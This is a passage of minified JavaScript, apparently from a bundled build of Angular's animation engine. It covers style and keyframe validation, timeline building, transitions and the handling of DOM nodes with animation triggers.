n=this._makeStyleAst(t,e);return this._validateStyleAst(n,e),n}_makeStyleAst(t,e){const n=[];Array.isArray(t.styles)?t.styles.forEach(t=>{"string"==typeof t?t==Mx?n.push(t):e.errors.push(`The provided style string value ${t} is not allowed.`):n.push(t)}):n.push(t.styles);let r=!1,i=null;return n.forEach(t=>{if(VP(t)){const e=t,n=e.easing;if(n&&(i=n,delete e.easing),!r)for(let t in e)if(e[t].toString().indexOf("{{")>=0){r=!0;break}}}),{type:6,styles:n,easing:i,offset:t.offset,containsDynamicStyles:r,options:null}}_validateStyleAst(t,e){const n=e.currentAnimateTimings;let r=e.currentTime,i=e.currentTime;n&&i>0&&(i-=n.duration+n.delay),t.styles.forEach(t=>{"string"!=typeof t&&Object.keys(t).forEach(n=>{if(!this._driver.validateStyleProperty(n))return void e.errors.push(`The provided animation property "${n}" is not a supported CSS property for animations`);const o=e.collectedStyles[e.currentQuerySelector],s=o[n];let a=!0;s&&(i!=r&&i>=s.startTime&&r<=s.endTime&&(e.errors.push(`The CSS property "${n}" that exists between the times of "${s.startTime}ms" and "${s.endTime}ms" is also being animated in a parallel animation between the times of "${i}ms" and "${r}ms"`),a=!1),i=s.startTime),a&&(o[n]={startTime:i,endTime:r}),e.options&&function(t,e,n){const r=e.params||{},i=CP(t);i.length&&i.forEach(t=>{r.hasOwnProperty(t)||n.push(`Unable to resolve the local animation param ${t} in the given list of values`)})}(t[n],e.options,e.errors)})})}visitKeyframes(t,e){const n={type:5,styles:[],options:null};if(!e.currentAnimateTimings)return e.errors.push("keyframes() must be placed inside of a call to animate()"),n;let r=0;const i=[];let o=!1,s=!1,a=0;const c=t.steps.map(t=>{const n=this._makeStyleAst(t,e);let c=null!=n.offset?n.offset:function(t){if("string"==typeof t)return null;let e=null;if(Array.isArray(t))t.forEach(t=>{if(VP(t)&&t.hasOwnProperty("offset")){const n=t;e=parseFloat(n.offset),delete n.offset}});else if(VP(t)&&t.hasOwnProperty("offset")){const n=t;e=parseFloat(n.offset),delete n.offset}return e}(n.styles),l=0;return null!=c&&(r++,l=n.offset=c),s=s||l<0||l>1,o=o||l<a,a=l,i.push(l),n});s&&e.errors.push("Please ensure that all keyframe offsets are between 0 and 1"),o&&e.errors.push("Please ensure that all keyframe offsets are in order");const l=t.steps.length;let u=0;r>0&&r<l?e.errors.push("Not all style() steps within the declared keyframes() contain offsets"):0==r&&(u=1/(l-1));const d=l-1,h=e.currentTime,p=e.currentAnimateTimings,f=p.duration;return c.forEach((t,r)=>{const o=u>0?r==d?1:u*r:i[r],s=o*f;e.currentTime=h+p.delay+s,p.duration=s,this._validateStyleAst(t,e),t.offset=o,n.styles.push(t)}),n}visitReference(t,e){return{type:8,animation:TP(this,vP(t.animation),e),options:BP(t.options)}}visitAnimateChild(t,e){return e.depCount++,{type:9,options:BP(t.options)}}visitAnimateRef(t,e){return{type:10,animation:this.visitReference(t.animation,e),options:BP(t.options)}}visitQuery(t,e){const n=e.currentQuerySelector,r=t.options||{};e.queryCount++,e.currentQuery=t;const[i,o]=function(t){const e=!!t.split(/\s*,\s*/).find(t=>":self"==t);return e&&(t=t.replace(RP,"")),[t=t.replace(/@\*/g,aP).replace(/@\w+/g,t=>aP+"-"+t.substr(1)).replace(/:animating/g,lP),e]}(t.selector);e.currentQuerySelector=n.length?n+" "+i:i,Gx(e.collectedStyles,e.currentQuerySelector,{});const s=TP(this,vP(t.animation),e);return e.currentQuery=null,e.currentQuerySelector=n,{type:11,selector:i,limit:r.limit||0,optional:!!r.optional,includeSelf:o,animation:s,originalSelector:t.selector,options:BP(t.options)}}visitStagger(t,e){e.currentQuery||e.errors.push("stagger() can only be used inside of query()");const n="full"===t.timings?{duration:0,delay:0,easing:"full"}:hP(t.timings,e.errors,!0);return{type:12,animation:TP(this,vP(t.animation),e),timings:n,options:null}}}class FP{constructor(t){this.errors=t,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles={},this.options=null}}function VP(t){return!Array.isArray(t)&&"object"==typeof t}function BP(t){return t?(t=pP(t)).params&&(t.params=function(t){return t?pP(t):null}(t.params)):t={},t}function HP(t,e,n){return{duration:t,delay:e,easing:n}}function zP(t,e,n,r,i,o,s=null,a=!1){return{type:1,element:t,keyframes:e,preStyleProps:n,postStyleProps:r,duration:i,delay:o,totalTime:i+o,easing:s,subTimeline:a}}class GP{constructor(){this._map=new Map}consume(t){let e=this._map.get(t);return e?this._map.delete(t):e=[],e}append(t,e){let n=this._map.get(t);n||this._map.set(t,n=[]),n.push(...e)}has(t){return this._map.has(t)}clear(){this._map.clear()}}const UP=new RegExp(":enter","g"),qP=new RegExp(":leave","g");function WP(t,e,n,r,i,o={},s={},a,c,l=[]){return(new KP).buildKeyframes(t,e,n,r,i,o,s,a,c,l)}class KP{buildKeyframes(t,e,n,r,i,o,s,a,c,l=[]){c=c||new GP;const u=new QP(t,e,c,r,i,l,[]);u.options=a,u.currentTimeline.setStyles([o],null,u.errors,a),TP(this,n,u);const d=u.timelines.filter(t=>t.containsAnimation());if(d.length&&Object.keys(s).length){const t=d[d.length-1];t.allowOnlyTimelineStyles()||t.setStyles([s],null,u.errors,a)}return d.length?d.map(t=>t.buildKeyframes()):[zP(e,[],[],[],0,0,"",!1)]}visitTrigger(t,e){}visitState(t,e){}visitTransition(t,e){}visitAnimateChild(t,e){const n=e.subInstructions.consume(e.element);if(n){const r=e.createSubContext(t.options),i=e.currentTimeline.currentTime,o=this._visitSubInstructions(n,r,r.options);i!=o&&e.transformIntoNewTimeline(o)}e.previousNode=t}visitAnimateRef(t,e){const n=e.createSubContext(t.options);n.transformIntoNewTimeline(),this.visitReference(t.animation,n),e.transformIntoNewTimeline(n.currentTimeline.currentTime),e.previousNode=t}_visitSubInstructions(t,e,n){let r=e.currentTimeline.currentTime;const i=null!=n.duration?uP(n.duration):null,o=null!=n.delay?uP(n.delay):null;return 0!==i&&t.forEach(t=>{const n=e.appendInstructionToTimeline(t,i,o);r=Math.max(r,n.duration+n.delay)}),r}visitReference(t,e){e.updateOptions(t.options,!0),TP(this,t.animation,e),e.previousNode=t}visitSequence(t,e){const n=e.subContextCount;let r=e;const i=t.options;if(i&&(i.params||i.delay)&&(r=e.createSubContext(i),r.transformIntoNewTimeline(),null!=i.delay)){6==r.previousNode.type&&(r.currentTimeline.snapshotCurrentStyles(),r.previousNode=$P);const t=uP(i.delay);r.delayNextStep(t)}t.steps.length&&(t.steps.forEach(t=>TP(this,t,r)),r.currentTimeline.applyStylesToKeyframe(),r.subContextCount>n&&r.transformIntoNewTimeline()),e.previousNode=t}visitGroup(t,e){const n=[];let r=e.currentTimeline.currentTime;const i=t.options&&t.options.delay?uP(t.options.delay):0;t.steps.forEach(o=>{const s=e.createSubContext(t.options);i&&s.delayNextStep(i),TP(this,o,s),r=Math.max(r,s.currentTimeline.currentTime),n.push(s.currentTimeline)}),n.forEach(t=>e.currentTimeline.mergeTimelineCollectedStyles(t)),e.transformIntoNewTimeline(r),e.previousNode=t}_visitTiming(t,e){if(t.dynamic){const n=t.strValue;return hP(e.params?wP(n,e.params,e.errors):n,e.errors)}return{duration:t.duration,delay:t.delay,easing:t.easing}}visitAnimate(t,e){const n=e.currentAnimateTimings=this._visitTiming(t.timings,e),r=e.currentTimeline;n.delay&&(e.incrementTime(n.delay),r.snapshotCurrentStyles());const i=t.style;5==i.type?this.visitKeyframes(i,e):(e.incrementTime(n.duration),this.visitStyle(i,e),r.applyStylesToKeyframe()),e.currentAnimateTimings=null,e.previousNode=t}visitStyle(t,e){const n=e.currentTimeline,r=e.currentAnimateTimings;!r&&n.getCurrentStyleProperties().length&&n.forwardFrame();const i=r&&r.easing||t.easing;t.isEmptyStep?n.applyEmptyStep(i):n.setStyles(t.styles,i,e.errors,e.options),e.previousNode=t}visitKeyframes(t,e){const n=e.currentAnimateTimings,r=e.currentTimeline.duration,i=n.duration,o=e.createSubContext().currentTimeline;o.easing=n.easing,t.styles.forEach(t=>{o.forwardTime((t.offset||0)*i),o.setStyles(t.styles,t.easing,e.errors,e.options),o.applyStylesToKeyframe()}),e.currentTimeline.mergeTimelineCollectedStyles(o),e.transformIntoNewTimeline(r+i),e.previousNode=t}visitQuery(t,e){const n=e.currentTimeline.currentTime,r=t.options||{},i=r.delay?uP(r.delay):0;i&&(6===e.previousNode.type||0==n&&e.currentTimeline.getCurrentStyleProperties().length)&&(e.currentTimeline.snapshotCurrentStyles(),e.previousNode=$P);let o=n;const s=e.invokeQuery(t.selector,t.originalSelector,t.limit,t.includeSelf,!!r.optional,e.errors);e.currentQueryTotal=s.length;let a=null;s.forEach((n,r)=>{e.currentQueryIndex=r;const s=e.createSubContext(t.options,n);i&&s.delayNextStep(i),n===e.element&&(a=s.currentTimeline),TP(this,t.animation,s),s.currentTimeline.applyStylesToKeyframe(),o=Math.max(o,s.currentTimeline.currentTime)}),e.currentQueryIndex=0,e.currentQueryTotal=0,e.transformIntoNewTimeline(o),a&&(e.currentTimeline.mergeTimelineCollectedStyles(a),e.currentTimeline.snapshotCurrentStyles()),e.previousNode=t}visitStagger(t,e){const n=e.parentContext,r=e.currentTimeline,i=t.timings,o=Math.abs(i.duration),s=o*(e.currentQueryTotal-1);let a=o*e.currentQueryIndex;switch(i.duration<0?"reverse":i.easing){case"reverse":a=s-a;break;case"full":a=n.currentStaggerTime}const c=e.currentTimeline;a&&c.delayNextStep(a);const l=c.currentTime;TP(this,t.animation,e),e.previousNode=t,n.currentStaggerTime=r.currentTime-l+(r.startTime-n.currentTimeline.startTime)}}const $P={};class QP{constructor(t,e,n,r,i,o,s,a){this._driver=t,this.element=e,this.subInstructions=n,this._enterClassName=r,this._leaveClassName=i,this.errors=o,this.timelines=s,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=$P,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=a||new XP(this._driver,e,0),s.push(this.currentTimeline)}get params(){return this.options.params}updateOptions(t,e){if(!t)return;const n=t;let r=this.options;null!=n.duration&&(r.duration=uP(n.duration)),null!=n.delay&&(r.delay=uP(n.delay));const i=n.params;if(i){let t=r.params;t||(t=this.options.params={}),Object.keys(i).forEach(n=>{(!e||!t.hasOwnProperty(n))&&(t[n]=wP(i[n],t,this.errors))})}}_copyOptions(){const t={};if(this.options){const e=this.options.params;if(e){const n=t.params={};Object.keys(e).forEach(t=>{n[t]=e[t]})}}return t}createSubContext(t=null,e,n){const r=e||this.element,i=new QP(this._driver,r,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(r,n||0));return i.previousNode=this.previousNode,i.currentAnimateTimings=this.currentAnimateTimings,i.options=this._copyOptions(),i.updateOptions(t),i.currentQueryIndex=this.currentQueryIndex,i.currentQueryTotal=this.currentQueryTotal,i.parentContext=this,this.subContextCount++,i}transformIntoNewTimeline(t){return this.previousNode=$P,this.currentTimeline=this.currentTimeline.fork(this.element,t),this.timelines.push(this.currentTimeline),this.currentTimeline}appendInstructionToTimeline(t,e,n){const r={duration:null!=e?e:t.duration,delay:this.currentTimeline.currentTime+(null!=n?n:0)+t.delay,easing:""},i=new ZP(this._driver,t.element,t.keyframes,t.preStyleProps,t.postStyleProps,r,t.stretchStartingKeyframe);return this.timelines.push(i),r}incrementTime(t){this.currentTimeline.forwardTime(this.currentTimeline.duration+t)}delayNextStep(t){t>0&&this.currentTimeline.delayNextStep(t)}invokeQuery(t,e,n,r,i,o){let s=[];if(r&&s.push(this.element),t.length>0){t=(t=t.replace(UP,"."+this._enterClassName)).replace(qP,"."+this._leaveClassName);let e=this._driver.query(this.element,t,1!=n);0!==n&&(e=n<0?e.slice(e.length+n,e.length):e.slice(0,n)),s.push(...e)}return!i&&0==s.length&&o.push(`\`query("${e}")\` returned zero elements. (Use \`query("${e}", { optional: true })\` if you wish to allow this.)`),s}}class XP{constructor(t,e,n,r){this._driver=t,this.element=e,this.startTime=n,this._elementTimelineStylesLookup=r,this.duration=0,this._previousKeyframe={},this._currentKeyframe={},this._keyframes=new Map,this._styleSummary={},this._pendingStyles={},this._backFill={},this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._localTimelineStyles=Object.create(this._backFill,{}),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(e),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(e,this._localTimelineStyles)),this._loadKeyframe()}containsAnimation(){switch(this._keyframes.size){case 0:return!1;case 1:return this.getCurrentStyleProperties().length>0;default:return!0}}getCurrentStyleProperties(){return Object.keys(this._currentKeyframe)}get currentTime(){return this.startTime+this.duration}delayNextStep(t){const e=1==this._keyframes.size&&Object.keys(this._pendingStyles).length;this.duration||e?(this.forwardTime(this.currentTime+t),e&&this.snapshotCurrentStyles()):this.startTime+=t}fork(t,e){return this.applyStylesToKeyframe(),new XP(this._driver,t,e||this.currentTime,this._elementTimelineStylesLookup)}_loadKeyframe(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=Object.create(this._backFill,{}),this._keyframes.set(this.duration,this._currentKeyframe))}forwardFrame(){this.duration+=1,this._loadKeyframe()}forwardTime(t){this.applyStylesToKeyframe(),this.duration=t,this._loadKeyframe()}_updateStyle(t,e){this._localTimelineStyles[t]=e,this._globalTimelineStyles[t]=e,this._styleSummary[t]={time:this.currentTime,value:e}}allowOnlyTimelineStyles(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}applyEmptyStep(t){t&&(this._previousKeyframe.easing=t),Object.keys(this._globalTimelineStyles).forEach(t=>{this._backFill[t]=this._globalTimelineStyles[t]||Mx,this._currentKeyframe[t]=Mx}),this._currentEmptyStepKeyframe=this._currentKeyframe}setStyles(t,e,n,r){e&&(this._previousKeyframe.easing=e);const i=r&&r.params||{},o=function(t,e){const n={};let r;return t.forEach(t=>{"*"===t?(r=r||Object.keys(e),r.forEach(t=>{n[t]=Mx})):fP(t,!1,n)}),n}(t,this._globalTimelineStyles);Object.keys(o).forEach(t=>{const e=wP(o[t],i,n);this._pendingStyles[t]=e,this._localTimelineStyles.hasOwnProperty(t)||(this._backFill[t]=this._globalTimelineStyles.hasOwnProperty(t)?this._globalTimelineStyles[t]:Mx),this._updateStyle(t,e)})}applyStylesToKeyframe(){const t=this._pendingStyles,e=Object.keys(t);0!=e.length&&(this._pendingStyles={},e.forEach(e=>{this._currentKeyframe[e]=t[e]}),Object.keys(this._localTimelineStyles).forEach(t=>{this._currentKeyframe.hasOwnProperty(t)||(this._currentKeyframe[t]=this._localTimelineStyles[t])}))}snapshotCurrentStyles(){Object.keys(this._localTimelineStyles).forEach(t=>{const e=this._localTimelineStyles[t];this._pendingStyles[t]=e,this._updateStyle(t,e)})}getFinalKeyframe(){return this._keyframes.get(this.duration)}get properties(){const t=[];for(let e in this._currentKeyframe)t.push(e);return t}mergeTimelineCollectedStyles(t){Object.keys(t._styleSummary).forEach(e=>{const n=this._styleSummary[e],r=t._styleSummary[e];(!n||r.time>n.time)&&this._updateStyle(e,r.value)})}buildKeyframes(){this.applyStylesToKeyframe();const t=new Set,e=new Set,n=1===this._keyframes.size&&0===this.duration;let r=[];this._keyframes.forEach((i,o)=>{const s=fP(i,!0);Object.keys(s).forEach(n=>{const r=s[n];"!"==r?t.add(n):r==Mx&&e.add(n)}),n||(s.offset=o/this.duration),r.push(s)});const i=t.size?xP(t.values()):[],o=e.size?xP(e.values()):[];if(n){const t=r[0],e=pP(t);t.offset=0,e.offset=1,r=[t,e]}return zP(this.element,r,i,o,this.duration,this.startTime,this.easing,!1)}}class ZP extends XP{constructor(t,e,n,r,i,o,s=!1){super(t,e,o.delay),this.keyframes=n,this.preStyleProps=r,this.postStyleProps=i,this._stretchStartingKeyframe=s,this.timings={duration:o.duration,delay:o.delay,easing:o.easing}}containsAnimation(){return this.keyframes.length>1}buildKeyframes(){let t=this.keyframes,{delay:e,duration:n,easing:r}=this.timings;if(this._stretchStartingKeyframe&&e){const i=[],o=n+e,s=e/o,a=fP(t[0],!1);a.offset=0,i.push(a);const c=fP(t[0],!1);c.offset=YP(s),i.push(c);const l=t.length-1;for(let r=1;r<=l;r++){let s=fP(t[r],!1);s.offset=YP((e+s.offset*n)/o),i.push(s)}n=o,e=0,r="",t=i}return zP(this.element,t,this.preStyleProps,this.postStyleProps,n,e,r,!0)}}function YP(t,e=3){const n=Math.pow(10,e-1);return Math.round(t*n)/n}class JP{}class tS extends JP{normalizePropertyName(t,e){return SP(t)}normalizeStyleValue(t,e,n,r){let i="";const o=n.toString().trim();if(eS[e]&&0!==n&&"0"!==n)if("number"==typeof n)i="px";else{const e=n.match(/^[+-]?[\d\.]+([a-z]*)$/);e&&0==e[1].length&&r.push(`Please provide a CSS unit value for ${t}:${n}`)}return o+i}}const eS=(()=>function(t){const e={};return t.forEach(t=>e[t]=!0),e}("width,height,minWidth,minHeight,maxWidth,maxHeight,left,top,bottom,right,fontSize,outlineWidth,outlineOffset,paddingTop,paddingLeft,paddingBottom,paddingRight,marginTop,marginLeft,marginBottom,marginRight,borderRadius,borderWidth,borderTopWidth,borderLeftWidth,borderRightWidth,borderBottomWidth,textIndent,perspective".split(",")))();function nS(t,e,n,r,i,o,s,a,c,l,u,d,h){return{type:0,element:t,triggerName:e,isRemovalTransition:i,fromState:n,fromStyles:o,toState:r,toStyles:s,timelines:a,queriedElements:c,preStyleProps:l,postStyleProps:u,totalTime:d,errors:h}}const rS={};class iS{constructor(t,e,n){this._triggerName=t,this.ast=e,this._stateStyles=n}match(t,e,n,r){return function(t,e,n,r,i){return t.some(t=>t(e,n,r,i))}(this.ast.matchers,t,e,n,r)}buildStyles(t,e,n){const r=this._stateStyles["*"],i=this._stateStyles[t],o=r?r.buildStyles(e,n):{};return i?i.buildStyles(e,n):o}build(t,e,n,r,i,o,s,a,c,l){const u=[],d=this.ast.options&&this.ast.options.params||rS,h=this.buildStyles(n,s&&s.params||rS,u),p=a&&a.params||rS,f=this.buildStyles(r,p,u),g=new Set,m=new Map,y=new Map,b="void"===r,v={params:Object.assign(Object.assign({},d),p)},_=l?[]:WP(t,e,this.ast.animation,i,o,h,f,v,c,u);let C=0;if(_.forEach(t=>{C=Math.max(t.duration+t.delay,C)}),u.length)return nS(e,this._triggerName,n,r,b,h,f,[],[],m,y,C,u);_.forEach(t=>{const n=t.element,r=Gx(m,n,{});t.preStyleProps.forEach(t=>r[t]=!0);const i=Gx(y,n,{});t.postStyleProps.forEach(t=>i[t]=!0),n!==e&&g.add(n)});const w=xP(g.values());return nS(e,this._triggerName,n,r,b,h,f,_,w,m,y,C)}}class oS{constructor(t,e,n){this.styles=t,this.defaultParams=e,this.normalizer=n}buildStyles(t,e){const n={},r=pP(this.defaultParams);return Object.keys(t).forEach(e=>{const n=t[e];null!=n&&(r[e]=n)}),this.styles.styles.forEach(t=>{if("string"!=typeof t){const i=t;Object.keys(i).forEach(t=>{let o=i[t];o.length>1&&(o=wP(o,r,e));const s=this.normalizer.normalizePropertyName(t,e);o=this.normalizer.normalizeStyleValue(t,s,o,e),n[s]=o})}}),n}}class sS{constructor(t,e,n){this.name=t,this.ast=e,this._normalizer=n,this.transitionFactories=[],this.states={},e.states.forEach(t=>{this.states[t.name]=new oS(t.style,t.options&&t.options.params||{},n)}),aS(this.states,"true","1"),aS(this.states,"false","0"),e.transitions.forEach(e=>{this.transitionFactories.push(new iS(t,e,this.states))}),this.fallbackTransition=function(t,e,n){return new iS(t,{type:1,animation:{type:2,steps:[],options:null},matchers:[(t,e)=>!0],options:null,queryCount:0,depCount:0},e)}(t,this.states)}get containsQueries(){return this.ast.queryCount>0}matchTransition(t,e,n,r){return this.transitionFactories.find(i=>i.match(t,e,n,r))||null}matchStyles(t,e,n){return this.fallbackTransition.buildStyles(t,e,n)}}function aS(t,e,n){t.hasOwnProperty(e)?t.hasOwnProperty(n)||(t[n]=t[e]):t.hasOwnProperty(n)&&(t[e]=t[n])}const cS=new GP;class lS{constructor(t,e,n){this.bodyNode=t,this._driver=e,this._normalizer=n,this._animations={},this._playersById={},this.players=[]}register(t,e){const n=[],r=LP(this._driver,e,n);if(n.length)throw new Error(`Unable to build the animation due to the following errors: ${n.join("\n")}`);this._animations[t]=r}_buildPlayer(t,e,n){const r=t.element,i=Vx(0,this._normalizer,0,t.keyframes,e,n);return this._driver.animate(r,i,t.duration,t.delay,t.easing,[],!0)}create(t,e,n={}){const r=[],i=this._animations[t];let o;const s=new Map;if(i?(o=WP(this._driver,e,i,iP,oP,{},{},n,cS,r),o.forEach(t=>{const e=Gx(s,t.element,{});t.postStyleProps.forEach(t=>e[t]=null)})):(r.push("The requested animation doesn't exist or has already been destroyed"),o=[]),r.length)throw new Error(`Unable to create the animation due to the following errors: ${r.join("\n")}`);s.forEach((t,e)=>{Object.keys(t).forEach(n=>{t[n]=this._driver.computeStyle(e,n,Mx)})});const a=Fx(o.map(t=>{const e=s.get(t.element);return this._buildPlayer(t,{},e)}));return this._playersById[t]=a,a.onDestroy(()=>this.destroy(t)),this.players.push(a),a}destroy(t){const e=this._getPlayer(t);e.destroy(),delete this._playersById[t];const n=this.players.indexOf(e);n>=0&&this.players.splice(n,1)}_getPlayer(t){const e=this._playersById[t];if(!e)throw new Error(`Unable to find the timeline player referenced by ${t}`);return e}listen(t,e,n,r){const i=zx(e,"","","");return Bx(this._getPlayer(t),n,i,r),()=>{}}command(t,e,n,r){if("register"==n)return void this.register(t,r[0]);if("create"==n)return void this.create(t,e,r[0]||{});const i=this._getPlayer(t);switch(n){case"play":i.play();break;case"pause":i.pause();break;case"reset":i.reset();break;case"restart":i.restart();break;case"finish":i.finish();break;case"init":i.init();break;case"setPosition":i.setPosition(parseFloat(r[0]));break;case"destroy":this.destroy(t)}}}const uS="ng-animate-queued",dS="ng-animate-disabled",hS=".ng-animate-disabled",pS=[],fS={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},gS={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},mS="__ng_removed";class yS{constructor(t,e=""){this.namespaceId=e;const n=t&&t.hasOwnProperty("value");if(this.value=function(t){return null!=t?t:null}(n?t.value:t),n){const e=pP(t);delete e.value,this.options=e}else this.options={};this.options.params||(this.options.params={})}get params(){return this.options.params}absorbOptions(t){const e=t.params;if(e){const t=this.options.params;Object.keys(e).forEach(n=>{null==t[n]&&(t[n]=e[n])})}}}const bS="void",vS=new yS(bS);class _S{constructor(t,e,n){this.id=t,this.hostElement=e,this._engine=n,this.players=[],this._triggers={},this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+t,ES(e,this._hostClassName)}listen(t,e,n,r){if(!this._triggers.hasOwnProperty(e))throw new Error(`Unable to listen on the animation trigger event "${n}" because the animation trigger "${e}" doesn't exist!`);if(null==n||0==n.length)throw new Error(`Unable to listen on the animation trigger "${e}" because the provided event is undefined!`);if(!function(t){return"start"==t||"done"==t}(n))throw new Error(`The provided animation trigger event "${n}" for the animation trigger "${e}" is not supported!`);const i=Gx(this._elementListeners,t,[]),o={name:e,phase:n,callback:r};i.push(o);const s=Gx(this._engine.statesByElement,t,{});return s.hasOwnProperty(e)||(ES(t,sP),ES(t,sP+"-"+e),s[e]=vS),()=>{this._engine.afterFlush(()=>{const t=i.indexOf(o);t>=0&&i.splice(t,1),this._triggers[e]||delete s[e]})}}register(t,e){return!this._triggers[t]&&(this._triggers[t]=e,!0)}_getTrigger(t){const e=this._triggers[t];if(!e)throw new Error(`The provided animation trigger "${t}" has not been registered!`);return e}trigger(t,e,n,r=!0){const i=this._getTrigger(e),o=new wS(this.id,e,t);let s=this._engine.statesByElement.get(t);s||(ES(t,sP),ES(t,sP+"-"+e),this._engine.statesByElement.set(t,s={}));let a=s[e];const c=new yS(n,this.id);if(!(n&&n.hasOwnProperty("value"))&&a&&c.absorbOptions(a.options),s[e]=c,a||(a=vS),c.value!==bS&&a.value===c.value){if(!function(t,e){const n=Object.keys(t),r=Object.keys(e);if(n.length!=r.length)return!1;for(let i=0;i<n.length;i++){const r=n[i];if(!e.hasOwnProperty(r)||t[r]!==e[r])return!1}return!0}(a.params,c.params)){const e=[],n=i.matchStyles(a.value,a.params,e),r=i.matchStyles(c.value,c.params,e);e.length?this._engine.reportError(e):this._engine.afterFlush(()=>{bP(t,n),yP(t,r)})}return}const l=Gx(this._engine.playersByElement,t,[]);l.forEach(t=>{t.namespaceId==this.id&&t.triggerName==e&&t.queued&&t.destroy()});let u=i.matchTransition(a.value,c.value,t,c.params),d=!1;if(!u){if(!r)return;u=i.fallbackTransition,d=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:e,transition:u,fromState:a,toState:c,player:o,isFallbackTransition:d}),d||(ES(t,uS),o.onStart(()=>{TS(t,uS)})),o.onDone(()=>{let e=this.players.indexOf(o);e>=0&&this.players.splice(e,1);const n=this._engine.playersByElement.get(t);if(n){let t=n.indexOf(o);t>=0&&n.splice(t,1)}}),this.players.push(o),l.push(o),o}deregister(t){delete this._triggers[t],this._engine.statesByElement.forEach((e,n)=>{delete e[t]}),this._elementListeners.forEach((e,n)=>{this._elementListeners.set(n,e.filter(e=>e.name!=t))})}clearElementCache(t){this._engine.statesByElement.delete(t),this._elementListeners.delete(t);const e=this._engine.playersByElement.get(t);e&&(e.forEach(t=>t.destroy()),this._engine.playersByElement.delete(t))}_signalRemovalForInnerTriggers(t,e){const n=this._engine.driver.query(t,aP,!0);n.forEach(t=>{if(t[mS])return;const n=this._engine.fetchNamespacesByElement(t);n.size?n.forEach(n=>n.triggerLeaveAnimation(t,e,!1,!0)):this.clearElementCache(t)}),this._engine.afterFlushAnimationsDone(()=>n.forEach(t=>this.clearElementCache(t)))}triggerLeaveAnimation(t,e,n,r){const i=this._engine.statesByElement.get(t);if(i){const o=[];if(Object.keys(i).forEach(e=>{if(this._triggers[e]){const n=this.trigger(t,e,bS,r);n&&o.push(n)}}),o.length)return this._engine.markElementAsRemoved(this.id,t,!0,e),n&&Fx(o).onDone(()=>this._engine.processLeaveNode(t)),!0}return!1}prepareLeaveAnimationListeners(t){const e=this._elementListeners.get(t),n=this._engine.statesByElement.get(t);if(e&&n){const r=new Set;e.forEach(e=>{const i=e.name;if(r.has(i))return;r.add(i);const o=this._triggers[i].fallbackTransition,s=n[i]||vS,a=new yS(bS),c=new wS(this.id,i,t);this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:i,transition:o,fromState:s,toState:a,player:c,isFallbackTransition:!0})})}}removeNode(t,e){const n=this._engine;if(t.childElementCount&&this._signalRemovalForInnerTriggers(t,e),this.triggerLeaveAnimation(t,e,!0))return;let r=!1;if(n.totalAnimations){const e=n.players.length?n.playersByQueriedElement.get(t):[];if(e&&e.length)r=!0;else{let e=t;for(;e=e.parentNode;)if(n.statesByElement.get(e)){r=!0;break}}}if(this.prepareLeaveAnimationListeners(t),r)n.markElementAsRemoved(this.id,t,!1,e);else{const r=t[mS];(!r||r===fS)&&(n.afterFlush(()=>this.clearElementCache(t)),n.destroyInnerAnimations(t),n._onRemovalComplete(t,e))}}insertNode(t,e){ES(t,this._hostClassName)}drainQueuedTransitions(t){const e=[];return this._queue.forEach(n=>{const r=n.player;if(r.destroyed)return;const i=n.element,o=this._elementListeners.get(i);o&&o.forEach(e=>{if(e.name==n.triggerName){const r=zx(i,n.triggerName,n.fromState.value,n.toState.value);r._data=t,Bx(n.player,e.phase,r,e.callback)}}),r.markedForDestroy?this._engine.afterFlush(()=>{r.destroy()}):e.push(n)}),this._queue=[],e.sort((t,e)=>{const n=t.transition.ast.depCount,r=e.transition.ast.depCount;return 0==n||0==r?n-r:this._engine.driver.containsElement(t.element,e.element)?1:-1})}destroy(t){this.players.forEach(t=>t.destroy()),this._signalRemovalForInnerTriggers(this.hostElement,t)}elementContainsData(t){let e=!1;return this._elementListeners.has(t)&&(e=!0),e=!!this._queue.find(e=>e.element===t)||e,e}}class CS{constructor(t,e,n){this.bodyNode=t,this.driver=e,this._normalizer=n,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=(t,e)=>{}}_onRemovalComplete(t,e){this.onRemovalComplete(t,e)}get queuedPlayers(){const t=[];return this._namespaceList.forEach(e=>{e.players.forEach(e=>{e.queued&&t.push(e)})}),t}createNamespace(t,e){const n=new _S(t,e,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,e)?this._balanceNamespaceList(n,e):(this.newHostElements.set(e,n),this.collectEnterElement(e)),this._namespaceLookup[t]=n}_balanceNamespaceList(t,e){const n=this._namespaceList.length-1;if(n>=0){let r=!1;for(let i=n;i>=0;i--)if(this.driver.containsElement(this._namespaceList[i].hostElement,e)){this._namespaceList.splice(i+1,0,t),r=!0;break}r||this._namespaceList.splice(0,0,t)}else this._namespaceList.push(t);return this.namespacesByHostElement.set(e,t),t}register(t,e){let n=this._namespaceLookup[t];return n||(n=this.createNamespace(t,e)),n}registerTrigger(t,e,n){let r=this._namespaceLookup[t];r&&r.register(e,n)&&this.totalAnimations++}destroy(t,e){if(!t)return;const 